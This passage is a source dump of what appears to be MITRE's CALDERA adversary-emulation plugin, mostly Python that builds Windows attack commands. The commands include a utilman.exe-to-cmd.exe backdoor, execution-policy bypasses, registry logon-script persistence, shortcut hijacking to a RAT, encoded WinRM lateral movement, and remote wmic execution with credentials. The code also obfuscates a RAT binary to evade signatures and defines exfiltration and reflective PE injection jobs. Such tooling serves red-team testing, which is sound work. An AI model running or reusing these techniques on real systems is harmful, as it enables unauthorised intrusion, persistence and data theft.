icacls " \ 17 | "C:\\Windows\\System32\\utilman.exe /grant administrators:f " \ 18 | "&& move C:\Windows\\System32\\utilman.exe " \ 19 | "C:\\Windows\\System32\\utilman.exe." + str(key_id) + " && copy C:\\Windows\\System32\\cmd.exe " \ 20 | "C:\\Windows\\System32\\utilman.exe\"" 21 | return CommandLine(command_line), parsers.static.accessFeat 22 | 23 | def bypassA() -> Tuple [CommandLine, Callable[[str], None]]: 24 | command_line = ['powershell', '-executionPolicy', 'Bypass', '-file', "C:\\bypassA.ps1"] 25 | return CommandLine(command_line), parsers.static.bypassA 26 | 27 | 28 | def bypassB() -> Tuple [CommandLine, Callable[[str], None]]: 29 | command_line = ['powershell', '-executionPolicy', 'Bypass', '-file', "C:\\bypassB.ps1"] 30 | return CommandLine(command_line), parsers.static.bypassB 31 | def logonScriptA() -> Tuple [CommandLine, Callable[[str], None]]: 32 | command_line = ['reg', 'export', 'HKCU\\Environment', 'C:\\envn.reg'] 33 | return CommandLine(command_line), parsers.static.logonScript 34 | 35 | def logonScriptB() -> Tuple [CommandLine, Callable[[str], None]]: 36 | command_line = ['reg', 'add', 'HKCU\\Environment', '/v', 'UserInitMprLogonScript', '/t', 'REG_SZ', '/d', 37 | 'C:\\totally_innocent_executable.exe', '/f'] 38 | return CommandLine(command_line), parsers.static.logonScript 39 | 40 | def shortcutmodify(target_path: str, rat_path: str) -> Tuple[CommandLine, Callable[[str], None]]: 41 | command_line = ['powershell', '-ExecutionPolicy Bypass', '-NoLogo', '-NonInteractive', '-NoProfile', '-Command', 42 | '"$SHORTCUT=\'' + target_path + '\';$TARGET=\'' + rat_path + '\';$ws = New-Object -ComObject ' + 43 | 'WScript.Shell; $s = $ws.CreateShortcut($SHORTCUT); $S.TargetPath = $TARGET; $S.Save()"'] 44 | return CommandLine(command_line), parsers.static.shortcutmodify 45 | 46 | 47 | def cleanupCMD(CleanCmd: str) -> Tuple [CommandLine, Callable[[str], None]]: 48 | command_line = [CleanCmd] 49 | return CommandLine(command_line), parsers.static.cleanup -------------------------------------------------------------------------------- /app/commands/systeminfo.py: -------------------------------------------------------------------------------- 1 | from typing import List, Callable, Tuple, Dict 2 | 3 | from plugins.adversary.app.commands import parsers 4 | from plugins.adversary.app.commands.command import CommandLine 5 | 6 | 7 | def systeminfo(args: List[str]=None) -> CommandLine: 8 | """ 9 | Wrapper for the windows tool systeminfo.exe 10 | 11 | Args: 12 | args: The additional arguments for the command line 13 | 14 | Returns: 15 | The CommandLine 16 | """ 17 | command_line = ["systeminfo.exe"] 18 | 19 | if args is not None: 20 | command_line += args 21 | 22 | return CommandLine(command_line) 23 | 24 | 25 | def csv(remote_host: str=None, user_domain: str=None, user: str=None, password: str=None) \ 26 | -> Tuple[CommandLine, Callable[[str], Dict]]: 27 | """Systeminfo.exe with CSV formatted output. 28 | 29 | 30 | Args: 31 | remote_host: (Optional) The host to get systeminfo about. If blank, the output will be for the local system. 32 | user: (Optional) Credentials for running systeminfo remotely. 33 | password: (Optional) Credentials for running systeminfo remotely. 34 | 35 | Returns: 36 | The CommandLine and a parser for the output of the command 37 | """ 38 | args = ['/fo csv'] 39 | 40 | if remote_host: 41 | args.append("/S " + remote_host) 42 | 43 | if user: 44 | args.append("/U " + ((user_domain + '\\' + user) if user_domain else user)) 45 | 46 | if password: 47 | args.append("/p " + password) 48 | 49 | return systeminfo(args), parsers.systeminfo.csv_with_headers 50 | -------------------------------------------------------------------------------- /app/commands/taskkill.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import List, Tuple, Callable 3 | from plugins.adversary.app.commands import parsers 4 | 5 | 6 | def taskkill(args: List[str]=None) -> CommandLine: 7 | """ 8 | Wrapper for the windows tool taskkill.exe 9 | 10 | Args: 11 | args: The additional arguments for the command line 12 | 13 | Returns: 14 | The CommandLine 15 | """ 16 | command_line = ["taskkill"] 17 | 18 | if args is not None: 19 | command_line += args 20 | 21 | return CommandLine(command_line) 22 | 23 | 24 | def by_image(exe_name) -> Tuple[CommandLine, Callable[[str], None]]: 25 | """ 26 | Taskkill by image name 27 | 28 | Args: 29 | exe_name: Name of the process to kill, the file name including '.exe' extension 30 | Returns: 31 | The CommandLine and a parser for the output of the command 32 | """ 33 | args = ['/im', exe_name, '/f'] 34 | 35 | return taskkill(args), parsers.taskkill.taskkill 36 | 37 | 38 | def by_pid(pid: int) -> Tuple[CommandLine, Callable[[str], None]]: 39 | """ 40 | Taskkill by pid 41 | 42 | Args: 43 | pid: The pid of the process to kill 44 | Returns: 45 | The CommandLine and a parser for the output of the command 46 | """ 47 | args = ['/pid', str(pid), '/f'] 48 | 49 | return taskkill(args), parsers.taskkill.taskkill 50 | -------------------------------------------------------------------------------- /app/commands/tasklist.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import List, Callable, Tuple, NamedTuple, Union 3 | from plugins.adversary.app.commands import parsers 4 | 5 | 6 | def tasklist(args: List[str]=None) -> CommandLine: 7 | """Commandline wrapper for the windows tasklist command. 8 | 9 | Args: 10 | args: Additional command line arguments 11 | 12 | Returns: 13 | The CommandLine 14 | """ 15 | 16 | command_line = ['tasklist'] 17 | if args: 18 | command_line += args 19 | 20 | return CommandLine(command_line) 21 | 22 | 23 | def main(verbose: bool=False, services: bool=False, modules: bool=False, remote_host: Union[None, str]=None, 24 | user: Union[None, str]=None, password: Union[None, str]=None, user_domain: Union[None, str]=None) -> \ 25 | Tuple[CommandLine, Callable[[str], List[NamedTuple]]]: 26 | """Create a tasklist command 27 | 28 | Args: 29 | verbose: If ``True`` runs tasklist in verbose mode (the "/V" flag) 30 | services: If ``True`` lists services in each process (the "/SVC" flag) 31 | modules: If ``True`` lists the modules loaded in each process (the "/M" flag) 32 | remote_host: The system to list the process of, or ``None`` to list the processes on the local computer 33 | (the "/S" flag) 34 | user: The user name that the command should execute under (the "/U" flag) 35 | password: The password of the user, required if the `user` argument is provided. (the "/P" flag) 36 | user_domain: The Windows name for the domain of the user 37 | 38 | Returns: 39 | The generated CommandLine and a parser for the output of this command 40 | 41 | """ 42 | 43 | args = ['/FO CSV'] 44 | 45 | if remote_host: 46 | args.append("/S " + remote_host) 47 | 48 | if user: 49 | args.append("/U " + ((user_domain + '\\' + user) if user_domain else user)) 50 | 51 | if password: 52 | args.append("/p " + password) 53 | 54 | if verbose: 55 | args += ['/V'] 56 | 57 | if services: 58 | args += ['/SVC'] 59 | 60 | if modules: 61 | args += ['/M'] 62 | 63 | return tasklist(args), parsers.tasklist.csv_with_headers 64 | 65 | 66 | -------------------------------------------------------------------------------- /app/commands/test.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import Callable, Tuple 3 | from plugins.adversary.app.commands import parsers 4 | 5 | 6 | def regsvr32() -> Tuple[CommandLine, Callable[[str], None]]: 7 | 8 | command_line = ['regsvr32','/s /u /i:C://Example.sct scrobj.dll'] 9 | 10 | return CommandLine(command_line), parsers.test.regsvr32 11 | -------------------------------------------------------------------------------- /app/commands/winrm.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import Callable, Tuple 3 | from plugins.adversary.app.commands import parsers 4 | import base64 5 | 6 | 7 | def lateral_movement(ip: str, password: str, domain: str, user: str, file_loc: str) -> Tuple[CommandLine, 8 | Callable[[str], None]]: 9 | com = base64.b64encode(bytes("Invoke-WmiMethod -path win32_process -name create -argumentlist '" + file_loc + "'", 'UTF-16LE')).decode("UTF-8") 10 | command_line = ['powershell', '-ExecutionPolicy Bypass', '-NoLogo', '-NonInteractive', '-NoProfile', '-Command', 11 | '"Set-Item WSMan:localhost\\client\\trustedhosts -value ' + ip + 12 | '-Concatenate -Force;', '$pw = convertto-securestring -AsPlainText -Force -String ' + password + 13 | ';', '$cred = new-object -typename System.Management.Automation.PSCredential -argumentlist ' 14 | + domain + "\\" + user + ',$pw;', 'invoke-command -computerName ' + ip + ' -credential $cred ' 15 | '-scriptblock {' + 'powershell.exe -ExecutionPolicy Bypass -EncodedCommand ' + com + ' }"'] 16 | return CommandLine(command_line), parsers.winrm.lateral_movement -------------------------------------------------------------------------------- /app/commands/wmic.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import List, Tuple, Callable 3 | from plugins.adversary.app.commands import parsers 4 | 5 | 6 | def wmic(args: List[str]=None) -> CommandLine: 7 | """Wrapper for the windows tool wmic.exe 8 | 9 | Args: 10 | args: The additional arguments for the command line 11 | 12 | Returns: 13 | The CommandLine 14 | """ 15 | command_line = ["wmic"] 16 | 17 | if args is not None: 18 | command_line += args 19 | 20 | return CommandLine(command_line) 21 | 22 | 23 | def create(exe_path: str, arguments: str=None, remote_host: str=None, user: str=None, user_domain: str=None, 24 | password: str=None) -> Tuple[CommandLine, Callable[[str], None]]: 25 | """Perform a remote process create with wmic 26 | 27 | Args: 28 | exe_path: The path to the program that will be run 29 | arguments: The commandline arguments to the running program 30 | remote_host: The host on which the program wil be run 31 | user: The username of the user whose credentials will be used to authenticate with the remote_host 32 | user_domain: The (Windows) domain of the user 33 | password: The password of the user account that will be used to authenticate to the remote_host 34 | 35 | Returns: 36 | The CommandLine and a parser for the output of the command 37 | """ 38 | if '-' in remote_host: 39 | remote_host = '"' + remote_host + '"' 40 | args = ["/node:" + remote_host] 41 | 42 | args.append("/user:\"{}\\{}\"".format(user_domain, user)) 43 | 44 | args.append("/password:\"{}\"".format(password)) 45 | 46 | args += ["process", "call", "create"] 47 | 48 | args.append('"{} {}"'.format(exe_path, arguments)) 49 | 50 | return wmic(args), parsers.wmic.create 51 | -------------------------------------------------------------------------------- /app/commands/xcopy.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.commands.command import CommandLine 2 | from typing import List, Tuple 3 | 4 | 5 | def xcopy(args: List[str], overwrite_destination: bool) -> CommandLine: 6 | """Copies files and directories, including subdirectories. 7 | Ref: https://technet.microsoft.com/en-us/library/bb491035.aspx 8 | 9 | Args: 10 | args: Additional command line arguments to xcopy.exe 11 | overwrite_destination: True means overwrite the destination if it already exists. 12 | 13 | Returns: 14 | The CommandLine 15 | """ 16 | if overwrite_destination: 17 | args.append('/y') 18 | 19 | return CommandLine(args) 20 | 21 | 22 | def file(source: str, destination: str, overwrite_destination: bool=False) -> Tuple[CommandLine, None]: 23 | """Creates an xcopy command. By default xcopy will prompt whether the destination name is a file or directory. 24 | This pipes a response into the Xcopy process to avoid needing to interact with it directly. 25 | 26 | Args: 27 | source: The source path of the file to copy 28 | destination: The destination path to place the file 29 | overwrite_destination: True if the destination should be overwritten if it already exists 30 | 31 | Returns: 32 | The CommandLine and a parser for the output of the command 33 | """ 34 | args = ['cmd.exe /c echo F | xcopy', source, destination] 35 | 36 | # return xcopy(args), parsers.xcopy.main 37 | return xcopy(args, overwrite_destination), None 38 | 39 | 40 | def folder(source: str, destination: str, overwrite_destination: bool=False) -> Tuple[CommandLine, None]: 41 | # This function has not been tested. 42 | raise NotImplementedError 43 | args = ['cmd.exe /c echo D | xcopy', source, destination] 44 | 45 | # return xcopy(args), parsers.xcopy.main 46 | return xcopy(args, overwrite_destination), None 47 | 48 | -------------------------------------------------------------------------------- /app/config.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import configparser 3 | import pathlib 4 | import os 5 | 6 | from plugins.adversary.app.database.dao import Dao 7 | 8 | 9 | class AdversaryPluginSettings: 10 | def __init__(self, config_obj=None, filestore_path=None): 11 | self._config = config_obj 12 | 13 | self.plugin_root = pathlib.Path(__file__).parents[1] 14 | if filestore_path is not None: 15 | self.filestore_path = filestore_path 16 | else: 17 | self.filestore_path = str(self.plugin_root / 'payloads') 18 | self.exe_rat_path = self.filestore_path + '/CraterMain.exe' 19 | self.dll_rat_path = self.filestore_path + '/CraterMain.dll' 20 | self.config_dir = str(self.plugin_root / 'conf') 21 | 22 | if self._config: 23 | self.dao = Dao(host=self.db_host, port=self.db_port, key=self.db_key) 24 | 25 | @property 26 | def config(self) -> configparser.ConfigParser: 27 | if self._config is None: 28 | raise RuntimeError('AdversaryPluginSettings was not initialized with config ini file.') 29 | 30 | return self._config 31 | 32 | @property 33 | def db_host(self) -> str: 34 | return self.config.get('adversary', 'host', fallback='127.0.0.1') 35 | 36 | @property 37 | def db_port(self) -> int: 38 | return self.config.getint('adversary', 'port', fallback=27017) 39 | 40 | @property 41 | def auth_key(self) -> bytes: 42 | return base64.b64decode(self.config.get('adversary', 'app_key')) 43 | 44 | @property 45 | def db_key(self) -> str: 46 | return self.config.get('adversary', 'db_key').encode('utf-8') 47 | 48 | @property 49 | def http_proxy(self) -> str: 50 | return self.config.get('adversary', 'http_proxy', fallback=os.environ.get('http_proxy')) 51 | 52 | @property 53 | def https_proxy(self) -> str: 54 | return self.config.get('adversary', 'http_proxy', fallback=os.environ.get('https_proxy')) 55 | 56 | @property 57 | def ssl_cert_file(self) -> str: 58 | return self.config.get('adversary', 'ssl_cert_file', fallback=os.environ.get('ssl_cert_file')) 59 | 60 | 61 | settings = AdversaryPluginSettings() 62 | 63 | 64 | def initialize_settings(config_path=None, config_str=None, filestore_path=None): 65 | """ 66 | Initialize a settings global variable that will be accessible from the rest of the plugin. 67 | :param config_path: The path to an .ini config file. 68 | :param config_str: A string with .ini formatted contents. 69 | :param filestore_path: The path to the directory where files live. 70 | :return: 71 | """ 72 | if (config_path and config_str) or (not config_path and not config_str): 73 | raise RuntimeError('Must call with one and only one of config_path or config_str') 74 | 75 | config_obj = configparser.ConfigParser() 76 | if config_path: 77 | config_obj.read(config_path) 78 | else: 79 | config_obj.read_string(config_str) 80 | 81 | global settings 82 | settings = AdversaryPluginSettings(config_obj, filestore_path=filestore_path) 83 | 84 | -------------------------------------------------------------------------------- /app/database/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/app/database/__init__.py -------------------------------------------------------------------------------- /app/database/dao.py: -------------------------------------------------------------------------------- 1 | from plugins.adversary.app.database.mongo import Mongo 2 | 3 | 4 | class Dao: 5 | """ 6 | This class is an interface with all CRUD operations required for CALDERA. 7 | All database interactions from this application should go through here. 8 | All responses from here must be in JSON 9 | """ 10 | def __init__(self, host=None, port=None, key=None): 11 | self.host = host 12 | self.port = port 13 | self.key = key 14 | self.db = Mongo(host=host, port=port, key=key) 15 | 16 | def __enter__(self): 17 | self.db.connect() 18 | return self 19 | 20 | def __exit__(self, exc_type, exc_val, exc_tb): 21 | self.db.connection.close() 22 | 23 | def get_techniques(self, ids=[]): 24 | return self.db.get_techniques(ids) 25 | 26 | def get_tactics(self, ids=[]): 27 | return self.db.get_tactics(ids) 28 | 29 | def get_attack_groups(self, ids=[]): 30 | return self.db.get_attack_groups(ids) 31 | 32 | def get_hosts(self, ids=[]): 33 | return self.db.get_hosts(ids) 34 | 35 | def get_networks(self, ids=[]): 36 | return self.db.get_networks(ids) 37 | 38 | def get_domains(self, ids=[]): 39 | return self.db.get_domains(ids) 40 | 41 | def get_adversaries(self, ids=[]): 42 | return self.db.get_adversaries(ids) 43 | 44 | def get_steps(self, ids=[]): 45 | return self.db.get_steps(ids) 46 | 47 | def get_artifact_lists(self, ids=[]): 48 | return self.db.get_artifacts(ids) 49 | 50 | def get_operations(self, ids=[]): 51 | return self.db.get_operations(ids) 52 | 53 | def get_settings(self, ids=[]): 54 | return self.db.get_settings(ids) 55 | 56 | def get_rats(self, ids=[]): 57 | return self.db.get_rats(ids) 58 | 59 | def get_agents(self, ids=[]): 60 | return self.db.get_agents(ids) 61 | 62 | def get_jobs(self, ids=[]): 63 | return self.db.get_jobs(ids) 64 | 65 | def get_raw_jobs(self, ids=[]): 66 | return self.db.get_raw_jobs(ids) 67 | 68 | def get_logs(self, ids=[]): 69 | return self.db.get_logs(ids) 70 | 71 | def get_observed_credentials(self, ids=[]): 72 | return self.db.get_observed_credentials(ids) 73 | 74 | def find(self, index, key, value, mapper=None): 75 | return self.db.find(index, key, value, mapper) 76 | 77 | def distinct(self, index, key, value, distinct_key): 78 | return self.db.distinct(index, key, value, distinct_key) 79 | 80 | def create(self, index, data): 81 | return self.db.create(index, data) 82 | 83 | def delete(self, index, id): 84 | return self.db.delete(index, id) 85 | 86 | def update(self, index, id, data, validate = False): 87 | return self.db.update(index, id, data, validate) 88 | 89 | def append(self, index, id, data): 90 | return self.db.append(index, id, data) 91 | 92 | def terminate(self): 93 | return self.db.terminate() 94 | 95 | -------------------------------------------------------------------------------- /app/engine/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/app/engine/__init__.py -------------------------------------------------------------------------------- /app/extern.py: -------------------------------------------------------------------------------- 1 | import os 2 | import zipfile 3 | import errno 4 | import io 5 | import shutil 6 | 7 | import plugins.adversary.app.config as config 8 | from plugins.adversary.app.util import grab_site, relative_path 9 | 10 | 11 | def load_psexec(): 12 | target_file = config.settings.filestore_path + '/ps.hex' 13 | pstools = grab_site('https://download.sysinternals.com/files/PSTools.zip', stream=True, params=None, mode='psexec') 14 | if not os.path.exists(os.path.dirname(target_file)): 15 | try: 16 | os.makedirs(os.path.dirname(target_file)) 17 | except OSError as error: 18 | if error.errno != errno.EEXIST: 19 | raise 20 | unload_zip(pstools.content, 'PsExec64.exe', target_file) 21 | 22 | 23 | def unload_zip(zip_file, target_name: str, target_dest: str): 24 | with zipfile.ZipFile(io.BytesIO(zip_file)) as z: 25 | with z.open(target_name) as data: 26 | with open(target_dest, 'wb') as dest: 27 | shutil.copyfileobj(data, dest) 28 | 29 | 30 | def obf_rat(): 31 | dest_path = os.path.join(config.settings.filestore_path, 'crater.exe') 32 | try: 33 | with open(config.settings.exe_rat_path, 'rb') as file: 34 | core = file.read() 35 | egg = core.find( 36 | b'\x2A\x20\x3C\x20\x2D\x20\x43\x41\x4C\x44\x45\x52\x41\x20\x43\x41\x4C\x44\x45\x52\x41\x20\x43\x41\x4C\x44\x45\x52\x41\x20\x43\x41\x4C\x44\x45\x52\x41\x20\x43\x41\x4C\x44\x45\x52\x41\x20\x2D\x20\x3E\x20\x2A') 37 | eggshell = os.urandom(51) 38 | pan = bytearray(core) 39 | for i in range(0, 50): 40 | pan[egg + i] = eggshell[i] 41 | omelet = bytes(pan) 42 | with open(dest_path, "wb") as file: 43 | file.write(omelet) 44 | return True 45 | except: 46 | import traceback 47 | traceback.print_exc() 48 | return False -------------------------------------------------------------------------------- /app/interface.py: -------------------------------------------------------------------------------- 1 | import base64 2 | from typing import Union 3 | 4 | from plugins.adversary.app.engine.objects import Job, Host, Rat, Opcodes 5 | from plugins.adversary.app import powershell 6 | from plugins.adversary.app.commands.powershell import PSArg, PSFunction 7 | from plugins.adversary.app.commands.command import CommandLine 8 | 9 | 10 | def send_shell_command(rat: Rat, cmd: str) -> Job: 11 | return Job.create_rat_command(rat, Opcodes.EXECUTE, command_line=cmd) 12 | 13 | 14 | def exfil_network_connection(rat: Rat, addr: str, port: str, file_path: str, method: str) -> Job: 15 | return Job.create_rat_command(rat, Opcodes.EXFIL_CONNECTION, address=addr, port=port, 16 | file_path=file_path, method=method) 17 | 18 | 19 | def drop_file(rat: Rat, file_path: str, contents: bytes): 20 | return Job.create_rat_command(rat, Opcodes.WRITE_FILE, file_path=file_path, 21 | contents=base64.encodebytes(contents).decode('utf-8')) 22 | 23 | 24 | def read_file(rat: Rat, file_path: str): 25 | return Job.create_rat_command(rat, Opcodes.READ_FILE, file_path=file_path) 26 | 27 | 28 | def powershell_function(rat: Rat, script_anchor: str, command: PSFunction) -> Job: 29 | stdin = "[[" + script_anchor + "]] " + command.command.command_line 30 | return Job.create_rat_command(rat, Opcodes.EXECUTE, command_line=powershell.PS_COMMAND, stdin=stdin) 31 | 32 | 33 | def invoke_reflective_pe_injection(rat: Rat, binary_name: str, command: CommandLine): 34 | anchor = "reflectivepe.{}".format(binary_name) 35 | # command = 'Invoke-ReflectivePEInjection -PEBytes $EncodedPE -ExeArgs "{}"'.format(command) 36 | command = PSFunction('Invoke-ReflectivePEInjection', PSArg('PEbase64', '$EncodedPE', escape=None), 37 | PSArg('ExeArgs', command.command_line)) 38 | return powershell_function(rat, anchor, command) 39 | 40 | 41 | def clean_files(rat: Rat) -> Job: 42 | return powershell_function(rat, "footprint", PSFunction("File-Recover")) 43 | 44 | 45 | def get_clients(host: Host) -> Job: 46 | return Job.create_agent_command(host, 'clients') 47 | 48 | 49 | def write_commander(host: Host, path: str) -> Job: 50 | return Job.create_agent_command(host, "write_commander", path=path) 51 | 52 | 53 | def agent_shell_command(host: Host, command_line: str) -> Job: 54 | return Job.create_agent_command(host, 'execute', command_line=command_line) 55 | 56 | 57 | def create_process(host: Host, process_args: str, parent: Union[str, int]=None, hide: bool=True, 58 | output: bool=False) -> Job: 59 | return Job.create_agent_command(host, 'create_process', process_args=process_args, parent=parent, hide=hide, 60 | output=output) 61 | 62 | 63 | def create_process_as_user(host: Host, process_args: str, user_domain: str, user_name: str, user_pass: str, 64 | parent: str=None, hide: bool=True, output: bool=False) -> Job: 65 | return Job.create_agent_command(host, 'create_process_as_user', process_args=process_args, user_domain=user_domain, 66 | user_name=user_name, user_pass=user_pass, parent=parent, hide=hide, output=output) 67 | 68 | 69 | def create_process_as_active_user(host: Host, process_args: str, parent: Union[str, int]=None, hide: bool=True, 70 | output: bool=False) -> Job: 71 | return Job.create_agent_command(host, 'create_process_as_active_user', process_args=process_args, parent=parent, 72 | hide=hide, output=output) 73 | -------------------------------------------------------------------------------- /app/logic/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/app/logic/__init__.py -------------------------------------------------------------------------------- /app/logic/clips_logic.py: -------------------------------------------------------------------------------- 1 | import copy 2 | from clips import Environment 3 | from plugins.adversary.app.logic.logic import Variable, Comparison, Term, Expression, LogicContext, Rule, Unary 4 | 5 | 6 | def expr_terms(expr: Expression): 7 | if isinstance(expr, Comparison) and expr.comparator == '&': 8 | return "(and {} {})".format(expr_terms(expr.obj1), expr_terms(expr.obj2)) 9 | elif isinstance(expr, Comparison) and expr.comparator == '|': 10 | return "(or {} {})".format(expr_terms(expr.obj1), expr_terms(expr.obj2)) 11 | elif isinstance(expr, Comparison) and expr.comparator == '!=': 12 | return "(test (neq {} {}))".format(expr_terms(expr.obj1), expr_terms(expr.obj2)) 13 | elif isinstance(expr, Unary) and expr.operator == '~': 14 | return '(not {})'.format(expr_terms(expr.obj1)) 15 | elif isinstance(expr, Term): 16 | return convert_term(expr) 17 | elif isinstance(expr, Variable): 18 | return convert_variable(expr) 19 | else: 20 | raise Exception 21 | 22 | 23 | def convert_variable(var): 24 | return "?{}".format(var) 25 | 26 | 27 | def convert_literal(lit): 28 | if isinstance(lit, Variable): 29 | return convert_variable(lit) 30 | elif isinstance(lit, bool): 31 | return "{}".format(lit) 32 | elif isinstance(lit, int): 33 | return "{}".format(lit) 34 | else: 35 | return escape_string(lit) 36 | 37 | 38 | def escape_string(lit): 39 | lit = lit.replace("\\", "\\\\") 40 | lit = lit.replace('"', '\\"') 41 | return '"' + lit + '"' 42 | 43 | 44 | def convert_term(term): 45 | return "({} {})".format(term.predicate, " ".join([convert_literal(x) for x in term.literals])) 46 | 47 | 48 | class CLIPSContext(LogicContext): 49 | def __init__(self): 50 | self.env = Environment() 51 | 52 | def define_rule(self, rule: Rule): 53 | rule_conds = expr_terms(rule.body) 54 | 55 | cons = "(defrule {0} {1} => (assert ({0} {2})))".format(rule.name, '(logical {})'.format(rule_conds), 56 | " ".join(["?" + x.name for x in rule.parameters])) 57 | self.env.define_construct(cons) 58 | 59 | def assert_fact(self, fact: Term): 60 | self.env.define_fact("({} {})".format(fact.predicate, " ".join([convert_literal(x) for x in fact.literals]))) 61 | 62 | def retract_fact(self, fact: Term): 63 | self.env.retract_fact("({} {})".format(fact.predicate, " ".join([convert_literal(x) for x in fact.literals]))) 64 | 65 | def retract_all_facts(self): 66 | self.env.reset() 67 | 68 | def query(self, expression: Expression): 69 | if not isinstance(expression, Term): 70 | raise Exception('CLIPS only supports querying terms or rules') 71 | 72 | self.env.run() 73 | return copy.copy(self.env.check_facts(expression.predicate)) 74 | 75 | def define_predicate(self, name: str, arity: int): 76 | pass 77 | 78 | def get_facts(self): 79 | return self.env.get_facts() 80 | 81 | def close(self): 82 | del self.env 83 | -------------------------------------------------------------------------------- /app/operation/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mitre/adversary/ae9e349535c281c755ab6fbbf5b1409119262c0c/app/operation/__init__.py -------------------------------------------------------------------------------- /app/operation/operation_errors.py: -------------------------------------------------------------------------------- 1 | class StepParseError(Exception): 2 | pass 3 | 4 | 5 | class RatDisconnectedError(Exception): 6 | pass 7 | 8 | 9 | class InvalidTimeoutExceptionError(Exception): 10 | pass 11 | 12 | 13 | class RatCallbackTimeoutError(Exception): 14 | pass 15 | 16 | 17 | class MissingFileError(Exception): 18 | pass 19 | -------------------------------------------------------------------------------- /app/operation/step.py: -------------------------------------------------------------------------------- 1 | class Keyword(object): 2 | def __init__(self, obj=None): 3 | self.obj = obj 4 | 5 | 6 | class KeywordVar(object): 7 | def __init__(self, obj): 8 | self.obj = obj 9 | 10 | 11 | class MetaName(type): 12 | @property 13 | def coded_name(cls): 14 | return "{0}: {1}".format(cls.display_name, cls.attack_string(cls.attack_mapping)) 15 | 16 | 17 | class Step(object, metaclass=MetaName): 18 | display_name = "default" 19 | summary = "" 20 | 21 | preconditions = [] 22 | postconditions = [] 23 | hints = [] 24 | not_equal = [] 25 | value = 1 26 | deterministic = False 27 | preproperties = [] 28 | postproperties = [] 29 | significant_parameters = [] 30 | attack_mapping = [] 31 | footprint = False 32 | cddl = '' 33 | 34 | 35 | @staticmethod 36 | def description(*args): 37 | raise NotImplementedError() 38 | 39 | @staticmethod 40 | async def action(operation, *args): 41 | raise NotImplementedError() 42 | 43 | @staticmethod 44 | async def cleanup(): 45 | return 46 | 47 | @staticmethod 48 | def attack_string(mapping: list) -> str: 49 | """This function converts an attack mapping set to a string for label purposes. 50 | """ 51 | final = "" 52 | slip = False 53 | for i in range(0,len(mapping)): 54 | if not slip: 55 | k = mapping[i] 56 | if i < (len(mapping) - 1): 57 | if mapping[i][1].startswith(mapping[i+1][1]): 58 | # combine techniques if same tactic 59 | k = (" & ".join((mapping[i][0],mapping[i+1][0])), k[1]) 60 | slip = True 61 | temp = ", ".join(k) 62 | final = final + temp + " | " 63 | else: 64 | slip = False 65 | return "[" + final[:-3] + "]" 66 | 67 | 68 | class OPUser(Keyword): 69 | pass 70 | 71 | 72 | class OPHost(Keyword): 73 | pass 74 | 75 | 76 | class OPDomain(Keyword): 77 | pass 78 | 79 | 80 | class OPFile(Keyword): 81 | pass 82 | 83 | 84 | class OPCredential(Keyword): 85 | pass 86 | 87 | 88 | class OPShare(Keyword): 89 | pass 90 | 91 | 92 | class OPSchtask(Keyword): 93 | pass 94 | 95 | 96 | class OPTimeDelta(Keyword): 97 | pass 98 | 99 | 100 | class OPRat(Keyword): 101 | pass 102 | 103 | 104 | class OPPersistence(Keyword): 105 | pass 106 | 107 | 108 | class OPService(Keyword): 109 | pass 110 | 111 | 112 | class OPRegKey(Keyword): 113 | pass 114 | 115 | 116 | class OPDevice(Keyword): 117 | pass 118 | 119 | 120 | class OPProcess(Keyword): 121 | pass 122 | 123 | 124 | class OPOSVersion(Keyword): 125 | pass 126 | 127 | 128 | class OPVar(KeywordVar): 129 | pass 130 | 131 | 132 | class OPTrashed(Keyword): 133 | pass 134 | -------------------------------------------------------------------------------- /app/powershell.py: -------------------------------------------------------------------------------- 1 | import zlib 2 | import base64 3 | 4 | ZLIB_HEADER = b'\x78\x9c' 5 | ZLIB_CHKSUM_LEN = 4 6 | 7 | remote_endl = '\r\n' 8 | remote_encoding = 'ascii' 9 | 10 | PS_COMMAND = "powershell -command -" 11 | 12 | 13 | def powershell_compress(data, do_base64=False): 14 | # deflatestream 15 | # .net is deflatestream which uses zlib under rfc 1950 (no header) 16 | # python zlib compress is rfc 1951 (specifies a 2B header) 17 | # deflatestream will also ignore trailing checksums 18 | # level = 6 # python zlib.compress default 19 | # level = 8 # may be default for .net deflatestream 20 | data = zlib.compress(data)[len(ZLIB_HEADER):-1 * ZLIB_CHKSUM_LEN] 21 | if do_base64: 22 | data = base64.b64encode(data) # .decode('ascii') 23 | return data 24 | 25 | 26 | def powershell_compress_script(data): 27 | # do we need to be concerned for boms here? 28 | # encoded needs to be ascii bc inflatestream expects output to be ascii 29 | encoded = data.lstrip().rstrip().encode('ascii') 30 | 31 | b64ed_compressed = powershell_compress(encoded, do_base64=True) 32 | 33 | return b64ed_compressed 34 | 35 | 36 | def ps_lined(script, encode=True): 37 | d = remote_endl 38 | script = [e + d for e in script.split(d)] 39 | if encode: 40 | script = [e.encode(remote_encoding) for e in script] 41 | # PS requires an extra endl at the end of scripts 42 | script += [remote_endl] 43 | return script 44 | 45 | 46 | def ps_append(b64_script, final_cmd, max_line=8190, var_name='ps1'): 47 | # Max max cmd line 8190 48 | # Max createprocess 32767 49 | initial_cmd = '$%s = ' % var_name 50 | middle_cmd = '$%s += ' % var_name 51 | new_script = '' 52 | i = 0 53 | while i < len(b64_script): 54 | prefix = middle_cmd 55 | if i == 0: 56 | prefix = initial_cmd 57 | b64_len = max_line - len(prefix) - 2 # for the quotes 58 | if b64_len > (len(b64_script) - i): 59 | b64_len = len(b64_script) - i 60 | new_script += ("%s'%s';%s" % 61 | (prefix, 62 | b64_script[i:(i + b64_len)].decode(remote_encoding), 63 | remote_endl)) 64 | i += b64_len 65 